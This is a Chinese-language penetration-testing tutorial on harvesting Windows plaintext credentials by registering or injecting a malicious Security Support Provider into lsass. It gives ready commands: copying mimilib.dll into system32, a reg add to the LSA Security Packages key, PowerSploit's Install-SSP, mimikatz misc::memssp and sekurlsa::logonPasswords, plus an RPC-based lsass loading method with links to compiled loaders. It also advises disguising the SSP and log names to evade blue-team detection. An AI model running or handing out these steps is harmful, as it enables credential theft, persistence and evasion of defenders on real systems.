win 2008 r2 后就默认禁用了WDigest协议,所以不能直接抓到明文密码
修改注入表注册恶意ssp提取凭证
1.把mimilib.dll放到C:\WINDOWS\system32目录下
2.往lsa注册表中添加Security Packages的值
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /t REG_MULTI_SZ /d "mimilib.dll"
3.重启系统就能在c:\windows\system32目录下得到kiwissp.log的凭据记录文件
上面这些操作在powersploit已有集成
Import-Module .\PowerSploit.psm1 Install-SSP -Path .\mimilib.dll
缺点一:列出当前ssp名称及信息的时候能看到,可能会比较明显,但mimikatz是开源的,我们要修改他创建的ssp名称、版本和生成的记录文件名字都是可以的,修改成跟自带服务名称比较相近,伪装一下,这样有可能会逃过蓝队的检查。甚至你对mimikatz进行自定义裁剪改写均可
缺点二:需要重启才能记录到密码,其他身份认证是无法记录凭据
mimilib.dll的主要代码地址:mimikatz/kssp.c at master · gentilkiwi/mimikatz · GitHub
主要函数有4个: 初始化,设置信息,保存凭据,删除,我们可以给他修改特征
利用mimikatz注入恶意ssp提取凭证
原理是通过注入到lsass进程,用hook技术使在身份验证的时候记录凭证
mimikatz # privilege::debug mimikatz # misc::memssp
命令执行后,如果此时输入了新的凭据(例如runas,或者用户锁屏后重新登录),将会在c:\windows\system32
下生成文件mimilsa.log
重启后失效
利用Rpc调用使lsass加载ssp
参考文章:绕过卡巴斯基dump进程lsass.exe内存_rpc dump kabasiji_xiangshen1990的博客-CSDN博客
xpn的源码:https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e
新建一个项目:添加源码中的三个文件
记得在sspi_h.h
文件加入#pragma comment(lib, "Rpcrt4.lib")
这里有编译好的dll文件和loader
Penetration_Testing_POC/loader.zip at master · Mr-xn/Penetration_Testing_POC · GitHub
之后会保存在temp文件夹中
mimikatz读取即可
mimikatz # sekurlsa::minidump 1.bin mimikatz # sekurlsa::logonPasswords full